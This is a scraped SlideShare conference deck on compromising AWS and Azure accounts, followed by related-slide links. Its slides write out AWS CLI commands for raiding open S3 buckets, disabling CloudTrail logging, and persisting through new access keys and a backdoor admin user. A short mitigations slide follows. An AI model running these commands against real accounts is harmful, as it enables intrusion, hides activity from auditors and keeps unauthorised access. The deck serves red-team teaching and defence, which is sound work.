SlideShare une entreprise Scribd logo
1  sur  69
Télécharger pour lire hors ligne
PWNED
CLOUD
SOCIETY:
Exploiting and Expanding Access within Azure & AWS
BRYCE
KUNZ
Bryce Kunz - @TweekFawkes
@TweekFawkes
PriorWork Experience:
• Adobe DMa – RedTeam
• DoD/NSA – Exploitation
• DHS/OneNet – Defense
Trainings & Sessions
• RSA – mesos/docker
• SAINTCON – osquery
• BsidesLV – mesos/docker
• Derbycon -WhiteLightning
CLOUD…
Bryce Kunz - @TweekFawkes
… only one thing is for sure …
AWS
SO MUCH…
Bryce Kunz - @TweekFawkes
… only one thing is for sure …
AWS Azure
SOO MUCH…
Bryce Kunz - @TweekFawkes
… only one thing is for sure …
AWS Azure Google
SOOO MUCH…
Bryce Kunz - @TweekFawkes
… only one thing is for sure …
AWS Azure GoogleRackspace
NEW-NEW
Bryce Kunz - @TweekFawkes
… they want that new-new …
AWS Azure GoogleRackspace etc…
OLD IS NEW
Bryce Kunz - @TweekFawkes
… but really it’s not that much
different …
OLD WAYS
Bryce Kunz - @TweekFawkes
… push code …
… jenkins …
… do work son …
CIBatch Jobs
Web
Dev
Code
NEW
Bryce Kunz - @TweekFawkes
… code …
… some overpriced hipster
services …
… do work …
CIBatch Jobs
Web
Dev
S3 BucketBatch
Lambda
Code CodeDeploy
ADMINS
Bryce Kunz - @TweekFawkes
... admin …
AD/LDAP
CIBatch Jobs
Web Admin
Dev
Code
NEW ADMIN
Bryce Kunz - @TweekFawkes
… admins got to admin …
AD/LDAP
CIBatch Jobs
Web Admin
Dev
Management
Console
S3 BucketBatch
Lambda
Code CodeDeploy
DEVOPS
Bryce Kunz - @TweekFawkes
… DevOp-ocalypse …
AD/LDAP
CIBatch Jobs
Web DevOps
Management
Console
S3 BucketBatch
Lambda
Code CodeDeploy
DEVOPS
Bryce Kunz - @TweekFawkes
… DevOp-ocalypse …
AD/LDAP
CIBatch Jobs
Web DevOps
Management
Console
S3 BucketBatch
Lambda
Code CodeDeploy
BAD DAYS
Bryce Kunz - @TweekFawkes
…happen…
BAD DAYS
Bryce Kunz - @TweekFawkes
… $50k!?!?!?
BAD DAYS
Bryce Kunz - @TweekFawkes
…EC2 instances destroyed…
INITIAL
ACCESS
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• Code Repositories
• DeploymentTools
• Configuration Files
PASTEBIN
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• - PasteBin.com
GITHUB
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• - PasteBin.com
• - GitHub.com
REPOS
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• Code Repositories
• - BitBucket, GitLab
• - Gerrit, GitBlit, Git
• - SVN, etc…
DEPLOY
ACCESS
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• Code Repositories
• DeploymentTools
• - Puppet, etc…
• - Jenkins, etc…
HACK & D/L
ACCESS
Bryce Kunz - @TweekFawkes
Find a AWS Secrets
• Open Source Intel
• Code Repositories
• DeploymentTools
• Configuration Files
• - Classic Hacks
• -- D/L Secrets
WHAT…
Bryce Kunz - @TweekFawkes
Services
- Many Services
- API Access
- User Access
… is the point?
SO
MANY
…
Bryce Kunz - @TweekFawkes
…
TYPES
Bryce Kunz - @TweekFawkes
…
API
Bryce Kunz - @TweekFawkes
…
USERS
Bryce Kunz - @TweekFawkes
…
SETUP
Bryce Kunz - @TweekFawkes
Preparation
• New EC2 Instance
• Setup AWSTools
On an Ubuntu 16.x EC2 instance…
apt-get update
apt-get install python-pip
pip install aws-shell
pip install awscli
S3 BUCKETS
Bryce Kunz - @TweekFawkes
…
S3
Bucket
Amazon
S3
REGION
ping -c3 exam.ple
dig +nocmd exam.ple any +multiline +noall +answer
nslookup 54.231.184.255
S3 Buckets
• Find Region
S3
Bucket
Amazon
S3
S3 BUCKETS
aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2
S3 Buckets
• Find Region
• Browse Files
S3
Bucket
Amazon
S3
S3 BUCKETS
aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2
S3 Buckets
• World Browsable
S3
Bucket
Amazon
S3
S3 BUCKETS
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
S3 Buckets
• World Browsable
S3
Bucket
Amazon
S3
S3 BUCKETS
aws s3 ls s3://...exam.ple/ --no-sign-request --region us-west-2
S3 Buckets
• Sensitive Files
S3
Bucket
Amazon
S3
S3 BUCKETS
aws s3 sync s3://…exam.ple/ . --no-sign-request --region us-west-2
S3 Buckets
• Sensitive Files
S3
Bucket
Amazon
S3
S3 BUCKETS
git log
S3 Buckets
• Sensitive Files
• - GIT
• - SVN
• - etc…
S3
Bucket
Amazon
S3
S3 BUCKETS
git checkout f7c…
S3 Buckets
• Sensitive Files
S3
Bucket
Amazon
S3
LEVERAGE
SECRETS
Bryce Kunz - @TweekFawkes
Preparation
• New EC2 Instance
• Setup AWSTools
• Leverage Secrets
CONFIGURE
aws configure --profile example
Preparation
• New EC2 Instance
• Setup AWSTools
• Leverage Secrets
AWS CLI AWS Cloud
VERIFY
(remove the spaces around the = character for easier scripts)
Preparation
• New EC2 Instance
• Setup AWSTools
• Leverage Secrets
AWS CLI AWS Cloud
WHOAMI
aws --profile example sts get-caller-identity
Survey Access
• Who AreWe?
AWS CLI AWS Cloud
IAM WHO
aws --profile example iam get-user
Survey Access
• Who AreWe?
• IAMWho?
AWS CLI AWS Cloud
LOGGING
Bryce Kunz - @TweekFawkes
Survey Access
• Who AreWe?
• Logging?
AWS
CloudTrailAWS CLI AWS Cloud
LOGGING?
aws --profile api_cloudtrail cloudtrail describe-trails
Survey Access
• Who AreWe?
• Logging?
AWS
CloudTrail
AWS
CloudTrailAWS CLI AWS Cloud
STOP-LOGS
aws --profile api_cloudtrail configure set region us-east-1
aws --profile api_cloudtrail cloudtrail stop-logging --name "arn:aws:cloudtrail:us-east-
1:…:trail/…"
Survey Access
• Who AreWe?
• Logging?
AWS
CloudTrail
OPSEC?
Survey Access
• Who AreWe?
• Logging?
AWS
CloudTrail
AWS
CloudTrailAWS CLI AWS Cloud
LOGGING?
aws --profile api_cloudtrail cloudtrail describe-trails
Survey Access
• Who AreWe?
• Logging?
AWS
CloudTrail
AWS
CloudTrailAWS CLI AWS Cloud
NO MULTI
aws --profile api_cloudtrail configure set region us-east-1
aws --profile api_cloudtrail cloudtrail update-trail --name "arn:aws:cloudtrail:us-east-
1:…:trail/…" --no-is-multi-region-trail --no-include-global-service-events
Stops logging in all regions…
• EXCEPT the HomeRegion
AWS
CloudTrail
OPSEC…
…
Stops logging in all regions…
• EXCEPT the HomeRegion
AWS
CloudTrail
PERSIST
Bryce Kunz - @TweekFawkes
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
• Add Account
AWS CLI AWS Cloud
PERSIST
aws --profile api_cloudtrail sts get-session-token
Persistence
• SessionToken
• -Valid for 12 Hours
AWS CLI AWS Cloud
SETUP
vi ~/.aws/credentials
Persistence
• SessionToken
• -Valid for 12 Hours
AWS CLI AWS Cloud
SESSION
aws --profile sessionTokens sts get-caller-identity
Persistence
• SessionToken
• -Valid for 12 Hours
AWS CLI AWS Cloud
ADD KEY
To an already existing user….
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
AWS CLI AWS Cloud
ADD KEY
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
aws --profile api_iam iam list-users
AWS CLI AWS Cloud
ADD KEY
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
aws --profile api_iam iam create-access-key --user-name test
AWS CLI AWS Cloud
ADD USER
Bryce Kunz - @TweekFawkes
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
• Add User
AWS CLI AWS Cloud
ADD USER
aws --profile api_iam iam create-user --user-name mryan
aws --profile api_iam iam add-user-to-group --user-name mryan --group-name Admin
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
• Add User
ADD KEY
aws --profile api_iam iam create-access-key --user-name mryan
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
• Add User
ADD PASS
aws --profile api_iam iam create-login-profile --user-name mryan --password examplepass
Persistence
• SessionToken
• -Valid for 12 Hours
• Add Key
• Add User
NEW EC2
Bryce Kunz - @TweekFawkes
…
EC2 META
Metadata Service: 169.254.169.254
curl http://169.254.169.254/latest/meta-data/
RFC-3927: https://tools.ietf.org/html/rfc3927
AWS: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
AWS QueryTool: https://aws.amazon.com/code/1825
…
AZURE META
Metadata Service: 169.254.169.254
curl http://169.254.169.254/metadata/v1/maintenance
curl http://169.254.169.254/metadata/v1/InstanceInfo
(these are mostly useless for hackers…) but useful information is copied into the …
/var/lib/waagent directory when the instance is created… (root access needed)
• IP address, hostname, subscription ID, resource group name, etc…
…
SNAPS &IAM
aws --profile api_ec2 ec2 create-volume --availability-zone us-west-2a --region us-west-2 --
snapshot-id snap-0b49342abd1bdcb89
mount /dev/xvdb1 /mnt
find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v
"/sys/" | grep -v "/run/" | less
…
HARD BOOT
Bryce Kunz - @TweekFawkes
…
Horrible OPSEC but it works…
- Power off a server
- Mount the server’s hard drive using another EC2
- Modify the server for remote access (e.g. add an SSH key to root user)
- Power back on the server & PROFIT!
MITIGATIONS
• Single Purpose Secrets
• Limited the Access of each Secret
• Create roles and limit the access of each role
• You can ACL off secrets to only work from certain IP addresses
• Log API calls (e.g. cloudtrail)
• Never use root secrets (use as a break glass account only)
• Rotate Secrets Frequently
• Encrypt secrets within GIT and other data stores
…
THANKS!
Bryce Kunz - @TweekFawkes
…
References • http://level4-
1156739cfb264ced6de514971a4bef68.flaws.cloud/hint
2.html
• https://www.slideshare.net/chrisgates/devoops-
attacks-and-defenses-for-devops-toolchains
• http://flaws.cloud/
• https://danielgrzelak.com/disrupting-aws-logging-
a42e437d6594
• https://danielgrzelak.com/backdooring-an-aws-
account-da007d36f8f9
• https://danielgrzelak.com/exploring-an-aws-account-
after-pwning-it-ff629c2aae39
• http://docplayer.net/24014561-Defending-the-cloud-
from-the-full-stack-hack.html

Contenu connexe

Tendances

Building Serverless APIs on AWS
Building Serverless APIs on AWSBuilding Serverless APIs on AWS
Building Serverless APIs on AWSJulien SIMON
 
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...Amazon Web Services
 
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...Amazon Web Services
 
Deep Dive on Microservices and Amazon ECS
Deep Dive on Microservices and Amazon ECSDeep Dive on Microservices and Amazon ECS
Deep Dive on Microservices and Amazon ECSAmazon Web Services
 
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸Amazon Web Services
 
Scale Your Application while Improving Performance and Lowering Costs (SVC203...
Scale Your Application while Improving Performance and Lowering Costs (SVC203...Scale Your Application while Improving Performance and Lowering Costs (SVC203...
Scale Your Application while Improving Performance and Lowering Costs (SVC203...Amazon Web Services
 
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsDevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsAmazon Web Services
 
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013Amazon Web Services
 
A 60-minute tour of AWS Compute (November 2016)
A 60-minute tour of AWS Compute (November 2016)A 60-minute tour of AWS Compute (November 2016)
A 60-minute tour of AWS Compute (November 2016)Julien SIMON
 
Secure Content Delivery Using Amazon CloudFront and AWS WAF
Secure Content Delivery Using Amazon CloudFront and AWS WAFSecure Content Delivery Using Amazon CloudFront and AWS WAF
Secure Content Delivery Using Amazon CloudFront and AWS WAFAmazon Web Services
 
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014Amazon Web Services
 
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...Amazon Web Services
 
Advanced AWS techniques from the trenches of the Enterprise – Sourced Group
Advanced AWS techniques from the trenches of the Enterprise – Sourced GroupAdvanced AWS techniques from the trenches of the Enterprise – Sourced Group
Advanced AWS techniques from the trenches of the Enterprise – Sourced GroupAmazon Web Services
 
Well-Architected for Security: Advanced Session
Well-Architected for Security: Advanced SessionWell-Architected for Security: Advanced Session
Well-Architected for Security: Advanced SessionAmazon Web Services
 
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)Amazon Web Services
 
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsDevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsAmazon Web Services
 
無伺服器架構和Containers on AWS入門
無伺服器架構和Containers on AWS入門 無伺服器架構和Containers on AWS入門
無伺服器架構和Containers on AWS入門 Amazon Web Services
 
DevOps Tooling - Pop-up Loft TLV 2017
DevOps Tooling - Pop-up Loft TLV 2017DevOps Tooling - Pop-up Loft TLV 2017
DevOps Tooling - Pop-up Loft TLV 2017Amazon Web Services
 

Tendances (20)

AWS Deployment Best Practices
AWS Deployment Best PracticesAWS Deployment Best Practices
AWS Deployment Best Practices
 
Building Serverless APIs on AWS
Building Serverless APIs on AWSBuilding Serverless APIs on AWS
Building Serverless APIs on AWS
 
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...
Auto-Scaling Web Application Security in Amazon Web Services (SEC308) | AWS r...
 
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...
Unlocking Agility with the AWS Serverless Application Model (SAM) - AWS Summi...
 
Deep Dive on Microservices and Amazon ECS
Deep Dive on Microservices and Amazon ECSDeep Dive on Microservices and Amazon ECS
Deep Dive on Microservices and Amazon ECS
 
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸
透過Amazon CloudFront 和AWS WAF來執行安全的內容傳輸
 
Scale Your Application while Improving Performance and Lowering Costs (SVC203...
Scale Your Application while Improving Performance and Lowering Costs (SVC203...Scale Your Application while Improving Performance and Lowering Costs (SVC203...
Scale Your Application while Improving Performance and Lowering Costs (SVC203...
 
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsDevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
 
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013
AWS Elastic Beanstalk under the Hood (DMG301) | AWS re:Invent 2013
 
A 60-minute tour of AWS Compute (November 2016)
A 60-minute tour of AWS Compute (November 2016)A 60-minute tour of AWS Compute (November 2016)
A 60-minute tour of AWS Compute (November 2016)
 
Secure Content Delivery Using Amazon CloudFront and AWS WAF
Secure Content Delivery Using Amazon CloudFront and AWS WAFSecure Content Delivery Using Amazon CloudFront and AWS WAF
Secure Content Delivery Using Amazon CloudFront and AWS WAF
 
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
(WEB301) Operational Web Log Analysis | AWS re:Invent 2014
 
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...
Stop Worrying about Prodweb001 and Start Loving i-98fb9856 (ARC201) | AWS re:...
 
Advanced AWS techniques from the trenches of the Enterprise – Sourced Group
Advanced AWS techniques from the trenches of the Enterprise – Sourced GroupAdvanced AWS techniques from the trenches of the Enterprise – Sourced Group
Advanced AWS techniques from the trenches of the Enterprise – Sourced Group
 
Introduction to Docker on AWS
Introduction to Docker on AWSIntroduction to Docker on AWS
Introduction to Docker on AWS
 
Well-Architected for Security: Advanced Session
Well-Architected for Security: Advanced SessionWell-Architected for Security: Advanced Session
Well-Architected for Security: Advanced Session
 
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)
AWS re:Invent 2016: Chalk Talk: Succeeding at Infrastructure-as-Code (GPSCT312)
 
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer ToolsDevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
DevOps on AWS: Deep Dive on Continuous Delivery and the AWS Developer Tools
 
無伺服器架構和Containers on AWS入門
無伺服器架構和Containers on AWS入門 無伺服器架構和Containers on AWS入門
無伺服器架構和Containers on AWS入門
 
DevOps Tooling - Pop-up Loft TLV 2017
DevOps Tooling - Pop-up Loft TLV 2017DevOps Tooling - Pop-up Loft TLV 2017
DevOps Tooling - Pop-up Loft TLV 2017
 

Similaire à Pwned Cloud Society - BsidesSLC 2017

AWS CDK를 활용한 클라우드 프로그래밍
AWS CDK를 활용한 클라우드 프로그래밍AWS CDK를 활용한 클라우드 프로그래밍
AWS CDK를 활용한 클라우드 프로그래밍Eunsu Kim
 
Real world serverless - architecture, patterns and lessons learned
Real world serverless - architecture, patterns and lessons learnedReal world serverless - architecture, patterns and lessons learned
Real world serverless - architecture, patterns and lessons learnedDavid Schmitz
 
Aws(in)security - the devil is in the detail
Aws(in)security - the devil is in the detailAws(in)security - the devil is in the detail
Aws(in)security - the devil is in the detailPawel Rzepa
 
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS Amazon Web Services
 
Serverless Development To Production Pipeline
Serverless Development To Production PipelineServerless Development To Production Pipeline
Serverless Development To Production PipelineChase Douglas
 
Diving into Common AWS Misconfigurations
Diving into Common AWS MisconfigurationsDiving into Common AWS Misconfigurations
Diving into Common AWS MisconfigurationsNikhil Sahoo
 
Lambdaless and AWS CDK
Lambdaless and AWS CDKLambdaless and AWS CDK
Lambdaless and AWS CDKMooYeol Lee
 
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...Amazon Web Services
 
Owning aws infrastructure services
Owning aws infrastructure servicesOwning aws infrastructure services
Owning aws infrastructure servicesSuraj Khetani
 
Bitbucket Pipelines - Powered by Kubernetes
Bitbucket Pipelines - Powered by KubernetesBitbucket Pipelines - Powered by Kubernetes
Bitbucket Pipelines - Powered by KubernetesNathan Burrell
 
AWS Summit Auckland 2014 | Black Belt Tips on AWS
AWS Summit Auckland 2014 | Black Belt Tips on AWS AWS Summit Auckland 2014 | Black Belt Tips on AWS
AWS Summit Auckland 2014 | Black Belt Tips on AWS Amazon Web Services
 
自己修復的なインフラ -Self-Healing Infrastructure-
自己修復的なインフラ -Self-Healing Infrastructure-自己修復的なインフラ -Self-Healing Infrastructure-
自己修復的なインフラ -Self-Healing Infrastructure-sinsoku listy
 
Continuous Deployment @ AWS Re:Invent
Continuous Deployment @ AWS Re:InventContinuous Deployment @ AWS Re:Invent
Continuous Deployment @ AWS Re:InventJohn Schneider
 
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...Amazon Web Services
 

Similaire à Pwned Cloud Society - BsidesSLC 2017 (20)

AWS CDK를 활용한 클라우드 프로그래밍
AWS CDK를 활용한 클라우드 프로그래밍AWS CDK를 활용한 클라우드 프로그래밍
AWS CDK를 활용한 클라우드 프로그래밍
 
AWS Black Belt Tips
AWS Black Belt TipsAWS Black Belt Tips
AWS Black Belt Tips
 
AWS Black Belt Tips
AWS Black Belt TipsAWS Black Belt Tips
AWS Black Belt Tips
 
Being cloudy with perl
Being cloudy with perlBeing cloudy with perl
Being cloudy with perl
 
Real world serverless - architecture, patterns and lessons learned
Real world serverless - architecture, patterns and lessons learnedReal world serverless - architecture, patterns and lessons learned
Real world serverless - architecture, patterns and lessons learned
 
Aws(in)security - the devil is in the detail
Aws(in)security - the devil is in the detailAws(in)security - the devil is in the detail
Aws(in)security - the devil is in the detail
 
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS
AWS Public Sector Symposium 2014 Canberra | Black Belt Tips on AWS
 
AWS Black Belt Tips
AWS Black Belt TipsAWS Black Belt Tips
AWS Black Belt Tips
 
Serverless Development To Production Pipeline
Serverless Development To Production PipelineServerless Development To Production Pipeline
Serverless Development To Production Pipeline
 
Diving into Common AWS Misconfigurations
Diving into Common AWS MisconfigurationsDiving into Common AWS Misconfigurations
Diving into Common AWS Misconfigurations
 
Lambdaless and AWS CDK
Lambdaless and AWS CDKLambdaless and AWS CDK
Lambdaless and AWS CDK
 
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...
Day 3 - DevOps Culture - Continuous Integration & Continuous Deployment on th...
 
Owning aws infrastructure services
Owning aws infrastructure servicesOwning aws infrastructure services
Owning aws infrastructure services
 
Bitbucket Pipelines - Powered by Kubernetes
Bitbucket Pipelines - Powered by KubernetesBitbucket Pipelines - Powered by Kubernetes
Bitbucket Pipelines - Powered by Kubernetes
 
Fin jaws 202103
Fin jaws 202103Fin jaws 202103
Fin jaws 202103
 
AWS Summit Auckland 2014 | Black Belt Tips on AWS
AWS Summit Auckland 2014 | Black Belt Tips on AWS AWS Summit Auckland 2014 | Black Belt Tips on AWS
AWS Summit Auckland 2014 | Black Belt Tips on AWS
 
自己修復的なインフラ -Self-Healing Infrastructure-
自己修復的なインフラ -Self-Healing Infrastructure-自己修復的なインフラ -Self-Healing Infrastructure-
自己修復的なインフラ -Self-Healing Infrastructure-
 
Understanding AWS Security
Understanding AWS SecurityUnderstanding AWS Security
Understanding AWS Security
 
Continuous Deployment @ AWS Re:Invent
Continuous Deployment @ AWS Re:InventContinuous Deployment @ AWS Re:Invent
Continuous Deployment @ AWS Re:Invent
 
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...
Continuous Integration and Deployment Best Practices on AWS (ARC307) | AWS re...
 

Dernier

Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Paola De la Torre
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
